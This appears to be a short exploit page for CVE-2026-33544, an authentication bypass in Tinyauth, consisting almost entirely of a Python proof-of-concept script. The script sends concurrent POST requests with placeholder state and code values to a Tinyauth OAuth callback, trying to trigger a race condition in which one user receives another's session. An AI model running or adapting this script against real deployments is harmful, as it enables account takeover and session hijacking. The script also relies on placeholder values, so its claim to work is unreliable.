CVE-2026-33544 Tinyauth 身份认证绕过漏洞

import requests import threading # Target URL url = "https://target.tinyauth/oauth/callback" # Simulate two user sessions attempting to login concurrently def exploit_session(user_id): # Payload or state parameter specific to the user payload = { 'state': f'my_state_{user_id}', 'code': 'auth_code_placeholder' } try: # Send the request to trigger the race condition response = requests.post(url, data=payload) print(f"User {user_id} response status: {response.status_code}") if response.status_code == 200: print(f"User {user_id} potentially logged in.") except Exception as e: print(f"Error for user {user_id}: {e}") # Create threads to simulate concurrent requests threads = [] for i in range(1, 3): t = threading.Thread(target=exploit_session, args=(i,)) threads.append(t) t.start() for t in threads: t.join() print("Exploit attempt finished. Check if User 1 received User 2's session.")